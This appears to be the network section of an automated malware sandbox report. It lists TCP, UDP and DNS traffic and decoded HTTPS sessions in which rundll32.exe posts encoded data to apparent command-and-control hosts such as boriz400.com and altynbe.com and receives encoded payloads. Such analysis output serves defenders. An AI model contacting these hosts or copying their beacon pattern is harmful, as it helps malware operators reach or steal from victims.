May 11, 2024 00:05:41.462110043 CEST	49776	443	192.168.2.4	95.164.68.73
May 11, 2024 00:05:41.462141037 CEST	443	49776	95.164.68.73	192.168.2.4
May 11, 2024 00:05:41.462196112 CEST	49776	443	192.168.2.4	95.164.68.73
May 11, 2024 00:05:41.462481976 CEST	49776	443	192.168.2.4	95.164.68.73
May 11, 2024 00:05:41.462497950 CEST	443	49776	95.164.68.73	192.168.2.4
May 11, 2024 00:05:41.807674885 CEST	443	49776	95.164.68.73	192.168.2.4
May 11, 2024 00:05:41.807809114 CEST	49776	443	192.168.2.4	95.164.68.73
May 11, 2024 00:05:41.809799910 CEST	49776	443	192.168.2.4	95.164.68.73
May 11, 2024 00:05:41.809799910 CEST	49776	443	192.168.2.4	95.164.68.73
May 11, 2024 00:05:41.809809923 CEST	443	49776	95.164.68.73	192.168.2.4
May 11, 2024 00:05:41.809824944 CEST	443	49776	95.164.68.73	192.168.2.4
May 11, 2024 00:05:42.254204988 CEST	443	49776	95.164.68.73	192.168.2.4
May 11, 2024 00:05:42.254293919 CEST	443	49776	95.164.68.73	192.168.2.4
May 11, 2024 00:05:42.254314899 CEST	49776	443	192.168.2.4	95.164.68.73
May 11, 2024 00:05:42.254456997 CEST	49776	443	192.168.2.4	95.164.68.73
May 11, 2024 00:05:42.254456997 CEST	49776	443	192.168.2.4	95.164.68.73
May 11, 2024 00:05:42.254525900 CEST	49776	443	192.168.2.4	95.164.68.73
May 11, 2024 00:05:44.207504034 CEST	49777	443	192.168.2.4	104.21.16.155
May 11, 2024 00:05:44.207562923 CEST	443	49777	104.21.16.155	192.168.2.4
May 11, 2024 00:05:44.207617044 CEST	49777	443	192.168.2.4	104.21.16.155
May 11, 2024 00:05:44.208290100 CEST	49777	443	192.168.2.4	104.21.16.155
May 11, 2024 00:05:44.208307028 CEST	443	49777	104.21.16.155	192.168.2.4
May 11, 2024 00:05:44.397622108 CEST	443	49777	104.21.16.155	192.168.2.4
May 11, 2024 00:05:44.397715092 CEST	49777	443	192.168.2.4	104.21.16.155
May 11, 2024 00:05:45.038084030 CEST	49777	443	192.168.2.4	104.21.16.155
May 11, 2024 00:05:45.038114071 CEST	443	49777	104.21.16.155	192.168.2.4
May 11, 2024 00:05:45.038441896 CEST	443	49777	104.21.16.155	192.168.2.4
May 11, 2024 00:05:45.038494110 CEST	49777	443	192.168.2.4	104.21.16.155
May 11, 2024 00:05:45.039020061 CEST	49777	443	192.168.2.4	104.21.16.155
May 11, 2024 00:05:45.080121040 CEST	443	49777	104.21.16.155	192.168.2.4
May 11, 2024 00:05:45.319808960 CEST	49778	443	192.168.2.4	95.164.68.73
May 11, 2024 00:05:45.319866896 CEST	443	49778	95.164.68.73	192.168.2.4
May 11, 2024 00:05:45.319930077 CEST	49778	443	192.168.2.4	95.164.68.73
May 11, 2024 00:05:45.320194960 CEST	49778	443	192.168.2.4	95.164.68.73
May 11, 2024 00:05:45.320205927 CEST	443	49778	95.164.68.73	192.168.2.4
May 11, 2024 00:05:45.677402973 CEST	443	49778	95.164.68.73	192.168.2.4
May 11, 2024 00:05:45.677457094 CEST	49778	443	192.168.2.4	95.164.68.73
May 11, 2024 00:05:45.677956104 CEST	49778	443	192.168.2.4	95.164.68.73
May 11, 2024 00:05:45.677962065 CEST	443	49778	95.164.68.73	192.168.2.4
May 11, 2024 00:05:45.679744959 CEST	49778	443	192.168.2.4	95.164.68.73
May 11, 2024 00:05:45.679749012 CEST	443	49778	95.164.68.73	192.168.2.4
May 11, 2024 00:05:46.170100927 CEST	443	49778	95.164.68.73	192.168.2.4
May 11, 2024 00:05:46.170213938 CEST	49778	443	192.168.2.4	95.164.68.73
May 11, 2024 00:05:46.170274973 CEST	443	49778	95.164.68.73	192.168.2.4
May 11, 2024 00:05:46.170330048 CEST	443	49778	95.164.68.73	192.168.2.4
May 11, 2024 00:05:46.170337915 CEST	49778	443	192.168.2.4	95.164.68.73
May 11, 2024 00:05:46.170337915 CEST	49778	443	192.168.2.4	95.164.68.73
May 11, 2024 00:05:46.170348883 CEST	443	49778	95.164.68.73	192.168.2.4
May 11, 2024 00:05:46.170367956 CEST	49778	443	192.168.2.4	95.164.68.73
May 11, 2024 00:05:46.170392990 CEST	49778	443	192.168.2.4	95.164.68.73
May 11, 2024 00:05:46.170392990 CEST	49778	443	192.168.2.4	95.164.68.73
May 11, 2024 00:05:48.314795017 CEST	49779	443	192.168.2.4	54.175.181.104
May 11, 2024 00:05:48.314835072 CEST	443	49779	54.175.181.104	192.168.2.4
May 11, 2024 00:05:48.316441059 CEST	49779	443	192.168.2.4	54.175.181.104
May 11, 2024 00:05:48.320326090 CEST	49779	443	192.168.2.4	54.175.181.104
May 11, 2024 00:05:48.320338964 CEST	443	49779	54.175.181.104	192.168.2.4
May 11, 2024 00:05:48.520405054 CEST	443	49779	54.175.181.104	192.168.2.4
May 11, 2024 00:05:48.520679951 CEST	49779	443	192.168.2.4	54.175.181.104
May 11, 2024 00:05:48.521970987 CEST	49779	443	192.168.2.4	54.175.181.104
May 11, 2024 00:05:48.521976948 CEST	443	49779	54.175.181.104	192.168.2.4
May 11, 2024 00:05:48.522186995 CEST	49779	443	192.168.2.4	54.175.181.104
May 11, 2024 00:05:48.522228956 CEST	443	49779	54.175.181.104	192.168.2.4
May 11, 2024 00:05:48.522351027 CEST	49779	443	192.168.2.4	54.175.181.104
May 11, 2024 00:05:51.678014994 CEST	49780	443	192.168.2.4	3.69.236.35
May 11, 2024 00:05:51.678044081 CEST	443	49780	3.69.236.35	192.168.2.4
May 11, 2024 00:05:51.678114891 CEST	49780	443	192.168.2.4	3.69.236.35
May 11, 2024 00:05:51.678450108 CEST	49780	443	192.168.2.4	3.69.236.35
May 11, 2024 00:05:51.678463936 CEST	443	49780	3.69.236.35	192.168.2.4
May 11, 2024 00:05:52.026103020 CEST	443	49780	3.69.236.35	192.168.2.4
May 11, 2024 00:05:52.026256084 CEST	49780	443	192.168.2.4	3.69.236.35
May 11, 2024 00:05:52.026602983 CEST	49780	443	192.168.2.4	3.69.236.35
May 11, 2024 00:05:52.026611090 CEST	443	49780	3.69.236.35	192.168.2.4
May 11, 2024 00:05:52.028354883 CEST	49780	443	192.168.2.4	3.69.236.35
May 11, 2024 00:05:52.028387070 CEST	443	49780	3.69.236.35	192.168.2.4
May 11, 2024 00:05:52.028487921 CEST	443	49780	3.69.236.35	192.168.2.4
May 11, 2024 00:05:52.028595924 CEST	49780	443	192.168.2.4	3.69.236.35
May 11, 2024 00:05:52.028595924 CEST	49780	443	192.168.2.4	3.69.236.35
May 11, 2024 00:05:53.082654953 CEST	443	49777	104.21.16.155	192.168.2.4
May 11, 2024 00:05:53.082722902 CEST	49777	443	192.168.2.4	104.21.16.155
May 11, 2024 00:05:53.082741022 CEST	443	49777	104.21.16.155	192.168.2.4
May 11, 2024 00:05:53.082782984 CEST	49777	443	192.168.2.4	104.21.16.155
May 11, 2024 00:05:53.082789898 CEST	443	49777	104.21.16.155	192.168.2.4
May 11, 2024 00:05:53.082799911 CEST	443	49777	104.21.16.155	192.168.2.4
May 11, 2024 00:05:53.082834959 CEST	49777	443	192.168.2.4	104.21.16.155
May 11, 2024 00:05:53.083092928 CEST	49777	443	192.168.2.4	104.21.16.155
May 11, 2024 00:05:53.083106995 CEST	443	49777	104.21.16.155	192.168.2.4
May 11, 2024 00:05:53.187452078 CEST	49781	443	192.168.2.4	138.124.183.215
May 11, 2024 00:05:53.187489033 CEST	443	49781	138.124.183.215	192.168.2.4
May 11, 2024 00:05:53.187544107 CEST	49781	443	192.168.2.4	138.124.183.215
May 11, 2024 00:05:53.187910080 CEST	49781	443	192.168.2.4	138.124.183.215
May 11, 2024 00:05:53.187923908 CEST	443	49781	138.124.183.215	192.168.2.4
May 11, 2024 00:05:53.371217012 CEST	443	49781	138.124.183.215	192.168.2.4
May 11, 2024 00:05:53.371274948 CEST	49781	443	192.168.2.4	138.124.183.215
May 11, 2024 00:05:53.371756077 CEST	49781	443	192.168.2.4	138.124.183.215
May 11, 2024 00:05:53.371762037 CEST	443	49781	138.124.183.215	192.168.2.4
May 11, 2024 00:05:53.373580933 CEST	49781	443	192.168.2.4	138.124.183.215
May 11, 2024 00:05:53.373620987 CEST	443	49781	138.124.183.215	192.168.2.4
May 11, 2024 00:05:53.373672962 CEST	49781	443	192.168.2.4	138.124.183.215
May 11, 2024 00:05:54.587270975 CEST	49782	443	192.168.2.4	104.21.16.155
May 11, 2024 00:05:54.587306976 CEST	443	49782	104.21.16.155	192.168.2.4
May 11, 2024 00:05:54.590352058 CEST	49782	443	192.168.2.4	104.21.16.155
May 11, 2024 00:05:54.590647936 CEST	49782	443	192.168.2.4	104.21.16.155
May 11, 2024 00:05:54.590662003 CEST	443	49782	104.21.16.155	192.168.2.4
May 11, 2024 00:05:54.773096085 CEST	443	49782	104.21.16.155	192.168.2.4
May 11, 2024 00:05:54.773156881 CEST	49782	443	192.168.2.4	104.21.16.155
May 11, 2024 00:05:54.773655891 CEST	49782	443	192.168.2.4	104.21.16.155
May 11, 2024 00:05:54.773664951 CEST	443	49782	104.21.16.155	192.168.2.4
May 11, 2024 00:05:54.775115967 CEST	49782	443	192.168.2.4	104.21.16.155
May 11, 2024 00:05:54.775120974 CEST	443	49782	104.21.16.155	192.168.2.4
May 11, 2024 00:05:57.462661982 CEST	49783	443	192.168.2.4	91.194.11.183
May 11, 2024 00:05:57.462696075 CEST	443	49783	91.194.11.183	192.168.2.4
May 11, 2024 00:05:57.462765932 CEST	49783	443	192.168.2.4	91.194.11.183
May 11, 2024 00:05:57.463027954 CEST	49783	443	192.168.2.4	91.194.11.183
May 11, 2024 00:05:57.463037968 CEST	443	49783	91.194.11.183	192.168.2.4
May 11, 2024 00:05:57.675482988 CEST	443	49783	91.194.11.183	192.168.2.4
May 11, 2024 00:05:57.675545931 CEST	49783	443	192.168.2.4	91.194.11.183
May 11, 2024 00:05:57.676095963 CEST	49783	443	192.168.2.4	91.194.11.183
May 11, 2024 00:05:57.676110029 CEST	443	49783	91.194.11.183	192.168.2.4
May 11, 2024 00:05:57.677645922 CEST	49783	443	192.168.2.4	91.194.11.183
May 11, 2024 00:05:57.677691936 CEST	443	49783	91.194.11.183	192.168.2.4
May 11, 2024 00:05:57.677740097 CEST	49783	443	192.168.2.4	91.194.11.183
May 11, 2024 00:06:01.100152969 CEST	49784	443	192.168.2.4	3.69.236.35
May 11, 2024 00:06:01.100197077 CEST	443	49784	3.69.236.35	192.168.2.4
May 11, 2024 00:06:01.100255013 CEST	49784	443	192.168.2.4	3.69.236.35
May 11, 2024 00:06:01.100661993 CEST	49784	443	192.168.2.4	3.69.236.35
May 11, 2024 00:06:01.100677013 CEST	443	49784	3.69.236.35	192.168.2.4
May 11, 2024 00:06:01.455171108 CEST	443	49784	3.69.236.35	192.168.2.4
May 11, 2024 00:06:01.455318928 CEST	49784	443	192.168.2.4	3.69.236.35
May 11, 2024 00:06:02.959152937 CEST	49784	443	192.168.2.4	3.69.236.35
May 11, 2024 00:06:02.959256887 CEST	443	49784	3.69.236.35	192.168.2.4
May 11, 2024 00:06:02.959311962 CEST	49784	443	192.168.2.4	3.69.236.35
May 11, 2024 00:06:11.854818106 CEST	443	49782	104.21.16.155	192.168.2.4
May 11, 2024 00:06:11.854876041 CEST	49782	443	192.168.2.4	104.21.16.155
May 11, 2024 00:06:11.854886055 CEST	443	49782	104.21.16.155	192.168.2.4
May 11, 2024 00:06:11.854926109 CEST	49782	443	192.168.2.4	104.21.16.155
May 11, 2024 00:06:11.854979038 CEST	443	49782	104.21.16.155	192.168.2.4
May 11, 2024 00:06:11.855031967 CEST	49782	443	192.168.2.4	104.21.16.155
May 11, 2024 00:06:11.855292082 CEST	49782	443	192.168.2.4	104.21.16.155
May 11, 2024 00:06:11.855308056 CEST	443	49782	104.21.16.155	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 11, 2024 00:04:12.655221939 CEST	61036	53	192.168.2.4	1.1.1.1
May 11, 2024 00:04:12.871501923 CEST	53	61036	1.1.1.1	192.168.2.4
May 11, 2024 00:04:13.858141899 CEST	49810	53	192.168.2.4	1.1.1.1
May 11, 2024 00:04:14.159241915 CEST	53	49810	1.1.1.1	192.168.2.4
May 11, 2024 00:04:18.686336040 CEST	59418	53	192.168.2.4	1.1.1.1
May 11, 2024 00:04:18.799472094 CEST	53	59418	1.1.1.1	192.168.2.4
May 11, 2024 00:04:19.608544111 CEST	55062	53	192.168.2.4	1.1.1.1
May 11, 2024 00:04:19.711488962 CEST	53	55062	1.1.1.1	192.168.2.4
May 11, 2024 00:04:35.505889893 CEST	52484	53	192.168.2.4	1.1.1.1
May 11, 2024 00:04:35.619683981 CEST	53	52484	1.1.1.1	192.168.2.4
May 11, 2024 00:05:43.047148943 CEST	63227	53	192.168.2.4	1.1.1.1
May 11, 2024 00:05:43.138046026 CEST	53	63227	1.1.1.1	192.168.2.4
May 11, 2024 00:06:00.977772951 CEST	57865	53	192.168.2.4	1.1.1.1
May 11, 2024 00:06:01.079061031 CEST	53	57865	1.1.1.1	192.168.2.4
May 11, 2024 00:06:08.749888897 CEST	53677	53	192.168.2.4	1.1.1.1
May 11, 2024 00:06:08.864455938 CEST	53	53677	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 11, 2024 00:04:12.655221939 CEST	192.168.2.4	1.1.1.1	0x8441	Standard query (0)	boriz400.com	A (IP address)	IN (0x0001)	false
May 11, 2024 00:04:13.858141899 CEST	192.168.2.4	1.1.1.1	0x3148	Standard query (0)	altynbe.com	A (IP address)	IN (0x0001)	false
May 11, 2024 00:04:18.686336040 CEST	192.168.2.4	1.1.1.1	0xaee4	Standard query (0)	ridiculous-breakpoint-gw.aws-use1.cloud-ara.tyk.io	A (IP address)	IN (0x0001)	false
May 11, 2024 00:04:19.608544111 CEST	192.168.2.4	1.1.1.1	0x69b6	Standard query (0)	anikvan.com	A (IP address)	IN (0x0001)	false
May 11, 2024 00:04:35.505889893 CEST	192.168.2.4	1.1.1.1	0x5f9f	Standard query (0)	uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io	A (IP address)	IN (0x0001)	false
May 11, 2024 00:05:43.047148943 CEST	192.168.2.4	1.1.1.1	0xc6d8	Standard query (0)	workspacin.cloud	A (IP address)	IN (0x0001)	false
May 11, 2024 00:06:00.977772951 CEST	192.168.2.4	1.1.1.1	0xc19b	Standard query (0)	uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io	A (IP address)	IN (0x0001)	false
May 11, 2024 00:06:08.749888897 CEST	192.168.2.4	1.1.1.1	0x7f64	Standard query (0)	ridiculous-breakpoint-gw.aws-use1.cloud-ara.tyk.io	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
May 11, 2024 00:04:12.871501923 CEST	1.1.1.1	192.168.2.4	0x8441	No error (0)	boriz400.com		91.194.11.183	A (IP address)	IN (0x0001)	false
May 11, 2024 00:04:14.159241915 CEST	1.1.1.1	192.168.2.4	0x3148	No error (0)	altynbe.com		138.124.183.215	A (IP address)	IN (0x0001)	false
May 11, 2024 00:04:18.799472094 CEST	1.1.1.1	192.168.2.4	0xaee4	No error (0)	ridiculous-breakpoint-gw.aws-use1.cloud-ara.tyk.io	pub-ingress-aws-use1.cloud-ara.tyk.io		CNAME (Canonical name)	IN (0x0001)	false
May 11, 2024 00:04:18.799472094 CEST	1.1.1.1	192.168.2.4	0xaee4	No error (0)	pub-ingress-aws-use1.cloud-ara.tyk.io	ae97372e4f96e4d1299fbaeb7130b656-1584023256.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 11, 2024 00:04:18.799472094 CEST	1.1.1.1	192.168.2.4	0xaee4	No error (0)	ae97372e4f96e4d1299fbaeb7130b656-1584023256.us-east-1.elb.amazonaws.com		54.175.181.104	A (IP address)	IN (0x0001)	false
May 11, 2024 00:04:18.799472094 CEST	1.1.1.1	192.168.2.4	0xaee4	No error (0)	ae97372e4f96e4d1299fbaeb7130b656-1584023256.us-east-1.elb.amazonaws.com		35.172.8.165	A (IP address)	IN (0x0001)	false
May 11, 2024 00:04:18.799472094 CEST	1.1.1.1	192.168.2.4	0xaee4	No error (0)	ae97372e4f96e4d1299fbaeb7130b656-1584023256.us-east-1.elb.amazonaws.com		54.159.36.188	A (IP address)	IN (0x0001)	false
May 11, 2024 00:04:19.711488962 CEST	1.1.1.1	192.168.2.4	0x69b6	No error (0)	anikvan.com		95.164.68.73	A (IP address)	IN (0x0001)	false
May 11, 2024 00:04:35.619683981 CEST	1.1.1.1	192.168.2.4	0x5f9f	No error (0)	uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io	pub-ingress-aws-euc1.cloud-ara.tyk.io		CNAME (Canonical name)	IN (0x0001)	false
May 11, 2024 00:04:35.619683981 CEST	1.1.1.1	192.168.2.4	0x5f9f	No error (0)	pub-ingress-aws-euc1.cloud-ara.tyk.io	ae1f8849daaac4ee6b80681872ab88b9-1762121307.eu-central-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 11, 2024 00:04:35.619683981 CEST	1.1.1.1	192.168.2.4	0x5f9f	No error (0)	ae1f8849daaac4ee6b80681872ab88b9-1762121307.eu-central-1.elb.amazonaws.com		3.69.236.35	A (IP address)	IN (0x0001)	false
May 11, 2024 00:04:35.619683981 CEST	1.1.1.1	192.168.2.4	0x5f9f	No error (0)	ae1f8849daaac4ee6b80681872ab88b9-1762121307.eu-central-1.elb.amazonaws.com		3.72.42.242	A (IP address)	IN (0x0001)	false
May 11, 2024 00:04:35.619683981 CEST	1.1.1.1	192.168.2.4	0x5f9f	No error (0)	ae1f8849daaac4ee6b80681872ab88b9-1762121307.eu-central-1.elb.amazonaws.com		35.157.36.116	A (IP address)	IN (0x0001)	false
May 11, 2024 00:05:43.138046026 CEST	1.1.1.1	192.168.2.4	0xc6d8	No error (0)	workspacin.cloud		104.21.16.155	A (IP address)	IN (0x0001)	false
May 11, 2024 00:05:43.138046026 CEST	1.1.1.1	192.168.2.4	0xc6d8	No error (0)	workspacin.cloud		172.67.213.171	A (IP address)	IN (0x0001)	false
May 11, 2024 00:06:01.079061031 CEST	1.1.1.1	192.168.2.4	0xc19b	No error (0)	uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io	pub-ingress-aws-euc1.cloud-ara.tyk.io		CNAME (Canonical name)	IN (0x0001)	false
May 11, 2024 00:06:01.079061031 CEST	1.1.1.1	192.168.2.4	0xc19b	No error (0)	pub-ingress-aws-euc1.cloud-ara.tyk.io	ae1f8849daaac4ee6b80681872ab88b9-1762121307.eu-central-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 11, 2024 00:06:01.079061031 CEST	1.1.1.1	192.168.2.4	0xc19b	No error (0)	ae1f8849daaac4ee6b80681872ab88b9-1762121307.eu-central-1.elb.amazonaws.com		3.69.236.35	A (IP address)	IN (0x0001)	false
May 11, 2024 00:06:01.079061031 CEST	1.1.1.1	192.168.2.4	0xc19b	No error (0)	ae1f8849daaac4ee6b80681872ab88b9-1762121307.eu-central-1.elb.amazonaws.com		35.157.36.116	A (IP address)	IN (0x0001)	false
May 11, 2024 00:06:01.079061031 CEST	1.1.1.1	192.168.2.4	0xc19b	No error (0)	ae1f8849daaac4ee6b80681872ab88b9-1762121307.eu-central-1.elb.amazonaws.com		3.72.42.242	A (IP address)	IN (0x0001)	false
May 11, 2024 00:06:08.864455938 CEST	1.1.1.1	192.168.2.4	0x7f64	No error (0)	ridiculous-breakpoint-gw.aws-use1.cloud-ara.tyk.io	pub-ingress-aws-use1.cloud-ara.tyk.io		CNAME (Canonical name)	IN (0x0001)	false
May 11, 2024 00:06:08.864455938 CEST	1.1.1.1	192.168.2.4	0x7f64	No error (0)	pub-ingress-aws-use1.cloud-ara.tyk.io	ae97372e4f96e4d1299fbaeb7130b656-1584023256.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 11, 2024 00:06:08.864455938 CEST	1.1.1.1	192.168.2.4	0x7f64	No error (0)	ae97372e4f96e4d1299fbaeb7130b656-1584023256.us-east-1.elb.amazonaws.com		54.175.181.104	A (IP address)	IN (0x0001)	false
May 11, 2024 00:06:08.864455938 CEST	1.1.1.1	192.168.2.4	0x7f64	No error (0)	ae97372e4f96e4d1299fbaeb7130b656-1584023256.us-east-1.elb.amazonaws.com		54.159.36.188	A (IP address)	IN (0x0001)	false
May 11, 2024 00:06:08.864455938 CEST	1.1.1.1	192.168.2.4	0x7f64	No error (0)	ae97372e4f96e4d1299fbaeb7130b656-1584023256.us-east-1.elb.amazonaws.com		35.172.8.165	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

boriz400.com

altynbe.com

ridiculous-breakpoint-gw.aws-use1.cloud-ara.tyk.io

anikvan.com

uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io

workspacin.cloud

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49745	91.194.11.183	443	7320	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 22:04:13 UTC	246	OUT	POST /api/azure HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Host: boriz400.com Content-Length: 538 Connection: Keep-Alive Cache-Control: no-cache
2024-05-10 22:04:13 UTC	538	OUT	Data Raw: 33 39 33 62 30 33 64 66 65 30 37 37 32 64 31 64 35 63 62 64 64 31 38 33 63 39 37 66 37 63 65 36 38 36 63 30 38 39 34 35 39 34 30 63 33 63 31 63 64 63 38 39 36 34 63 37 66 64 61 64 30 63 66 64 38 36 30 31 39 35 37 62 36 39 61 36 35 32 32 32 36 31 36 66 64 31 36 36 38 30 38 61 31 38 39 33 30 65 36 64 36 30 61 65 35 38 32 62 63 33 30 64 35 64 65 34 65 37 63 65 30 30 38 37 35 35 37 39 35 32 30 66 62 35 39 35 30 62 38 37 32 63 32 66 37 62 61 39 63 39 33 30 65 62 64 35 37 37 33 37 31 66 30 30 33 61 38 30 64 39 39 61 36 64 37 39 34 39 32 63 64 37 38 66 61 35 64 38 39 63 63 65 39 34 38 38 33 36 63 32 63 65 32 32 35 33 32 66 39 34 66 31 63 30 36 33 32 32 36 62 32 61 39 61 35 65 32 32 65 34 34 32 61 65 34 37 62 33 34 63 66 66 32 38 33 38 37 31 33 31 38 34 38 62 34 Data Ascii: 393b03dfe0772d1d5cbdd183c97f7ce686c08945940c3c1cdc8964c7fdad0cfd8601957b69a65222616fd166808a18930e6d60ae582bc30d5de4e7ce00875579520fb5950b872c2f7ba9c930ebd577371f003a80d99a6d79492cd78fa5d89cce948836c2ce22532f94f1c063226b2a9a5e22e442ae47b34cff28387131848b4
2024-05-10 22:04:13 UTC	151	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Content-Type: text/html Content-Length: 52 Connection: close Date: Fri, 10 May 2024 22:04:13 GMT
2024-05-10 22:04:13 UTC	52	IN	Data Raw: 49 44 52 54 67 38 38 4a 58 69 41 2f 6c 5a 65 2b 38 68 55 48 39 2f 57 34 36 56 54 75 41 7a 6f 48 73 50 30 41 6f 4f 66 59 44 49 48 69 53 6f 6b 63 4d 2b 51 3d Data Ascii: IDRTg88JXiA/lZe+8hUH9/W46VTuAzoHsP0AoOfYDIHiSokcM+Q=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49750	138.124.183.215	443	7320	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 22:04:14 UTC	247	OUT	POST /content.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Host: altynbe.com Content-Length: 154 Connection: Keep-Alive Cache-Control: no-cache
2024-05-10 22:04:14 UTC	154	OUT	Data Raw: 33 39 33 62 30 33 64 66 65 30 37 37 32 64 31 64 35 63 62 64 64 31 38 33 63 39 37 66 37 63 65 36 64 32 61 37 38 62 33 39 66 39 31 64 34 31 30 61 61 34 38 31 36 32 62 39 65 34 61 32 30 65 66 63 65 31 34 65 65 38 30 63 34 66 39 30 30 34 31 64 31 36 36 30 66 62 31 34 62 38 65 37 33 35 62 63 32 35 33 65 37 32 64 31 34 64 32 63 64 33 34 34 34 35 66 36 62 35 39 38 30 65 39 66 35 39 32 64 35 34 31 35 66 63 63 36 34 37 64 64 32 30 33 39 37 36 65 35 38 34 31 33 64 31 Data Ascii: 393b03dfe0772d1d5cbdd183c97f7ce6d2a78b39f91d410aa48162b9e4a20efce14ee80c4f90041d1660fb14b8e735bc253e72d14d2cd34445f6b5980e9f592d5415fcc647dd203976e58413d1
2024-05-10 22:04:15 UTC	159	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Content-Type: text/html Transfer-Encoding: chunked Connection: close Date: Fri, 10 May 2024 22:04:15 GMT
2024-05-10 22:04:15 UTC	4022	IN	Data Raw: 66 61 66 0d 0a 44 33 49 4c 33 4d 70 6e 4c 67 73 6b 73 66 4b 62 36 42 67 4d 72 4f 72 4e 33 47 33 47 4b 6c 6f 38 68 76 73 54 6d 4e 4f 74 41 61 44 74 4f 66 4d 78 58 70 56 53 4f 69 41 2b 2b 44 53 4c 35 6a 53 61 42 30 38 4d 2b 79 78 6a 73 33 6f 77 67 34 4f 43 64 76 31 6f 57 31 4d 31 33 64 78 7a 71 43 35 38 42 66 57 2f 64 59 48 46 44 57 77 67 51 6c 62 41 6d 65 77 43 50 69 35 59 71 39 2f 52 72 64 61 57 31 63 38 6c 7a 39 34 57 64 58 72 4c 67 50 6f 57 54 78 35 55 31 6d 59 57 79 69 37 4f 4d 72 4d 50 6c 55 52 63 4e 45 7a 4c 76 58 74 71 68 70 61 47 69 6b 6d 74 41 77 57 59 67 34 43 33 35 48 53 41 61 4b 55 51 46 38 43 4c 52 45 75 51 30 72 70 77 47 30 67 37 4b 30 46 61 57 45 2f 46 34 34 36 39 2f 4b 45 6e 50 35 66 58 4c 4f 5a 75 44 53 6e 68 78 79 69 77 4a 34 73 70 62 64 Data Ascii: fafD3IL3MpnLgsksfKb6BgMrOrN3G3GKlo8hvsTmNOtAaDtOfMxXpVSOiA++DSL5jSaB08M+yxjs3owg4OCdv1oW1M13dxzqC58BfW/dYHFDWwgQlbAmewCPi5Yq9/RrdaW1c8lz94WdXrLgPoWTx5U1mYWyi7OMrMPlURcNEzLvXtqhpaGikmtAwWYg4C35HSAaKUQF8CLREuQ0rpwG0g7K0FaWE/F4469/KEnP5fXLOZuDSnhxyiwJ4spbd
2024-05-10 22:04:15 UTC	4104	IN	Data Raw: 31 30 30 30 0d 0a 4f 6e 32 49 32 75 49 56 63 51 4b 4c 6c 56 52 74 76 64 59 51 46 6a 68 74 42 38 4f 32 58 6d 63 57 6f 31 58 6b 6e 58 76 4e 6c 45 63 37 61 70 50 52 74 4a 65 66 62 5a 7a 4c 66 61 37 71 63 62 64 36 50 33 39 62 32 4c 46 53 34 62 47 6a 63 4b 6b 48 6c 48 31 32 49 6d 4e 43 52 33 33 44 4a 4d 68 52 68 65 79 75 53 58 42 51 61 5a 39 6b 55 41 31 33 68 33 31 42 58 2f 49 54 68 6e 53 4d 66 6c 6f 41 44 47 64 54 4a 69 33 58 4c 7a 43 33 5a 6e 4c 61 53 43 36 56 2b 51 67 35 4a 72 42 38 77 33 65 39 6b 68 77 4b 7a 6d 46 6a 73 72 6d 59 56 48 72 34 4c 41 49 62 62 42 4a 4c 6d 37 52 33 37 61 5a 65 53 7a 4c 4f 6b 45 30 36 62 5a 2b 74 67 52 37 55 72 33 73 43 55 6d 67 73 51 48 51 54 59 4d 59 4b 47 6d 43 71 2b 73 5a 65 48 44 56 51 64 6b 65 63 32 39 56 4e 7a 65 70 69 42 Data Ascii: 1000On2I2uIVcQKLlVRtvdYQFjhtB8O2XmcWo1XknXvNlEc7apPRtJefbZzLfa7qcbd6P39b2LFS4bGjcKkHlH12ImNCR33DJMhRheyuSXBQaZ9kUA13h31BX/IThnSMfloADGdTJi3XLzC3ZnLaSC6V+Qg5JrB8w3e9khwKzmFjsrmYVHr4LAIbbBJLm7R37aZeSzLOkE06bZ+tgR7Ur3sCUmgsQHQTYMYKGmCq+sZeHDVQdkec29VNzepiB
2024-05-10 22:04:15 UTC	627	IN	Data Raw: 32 36 63 0d 0a 50 36 57 48 67 38 75 64 49 4d 4c 78 6e 77 48 49 64 75 56 36 73 48 52 52 37 77 72 42 31 33 75 54 41 66 2b 52 63 73 6f 41 52 4b 41 59 65 32 4e 41 4c 71 47 56 54 46 32 63 67 41 65 74 6c 6d 4d 75 76 30 75 52 47 47 52 44 39 68 55 31 46 4d 59 53 52 4a 2b 67 33 39 68 34 41 6e 39 68 71 55 55 6f 57 41 32 69 36 46 63 72 4d 55 71 68 45 41 33 30 59 47 2f 59 62 51 37 74 51 68 2f 35 6c 4d 59 76 45 4b 46 6f 6e 66 30 4a 58 4a 2f 39 58 4d 69 4b 6f 72 48 66 32 38 4d 38 6c 36 55 70 76 54 64 61 71 31 68 4a 57 75 32 71 37 2f 4e 59 37 2f 70 6b 68 34 33 38 53 47 6e 36 71 78 32 63 6e 62 76 44 32 43 72 51 61 75 35 7a 35 69 33 58 6e 38 4f 63 48 41 48 79 6e 56 39 67 7a 34 5a 31 74 65 55 64 45 58 59 31 73 37 32 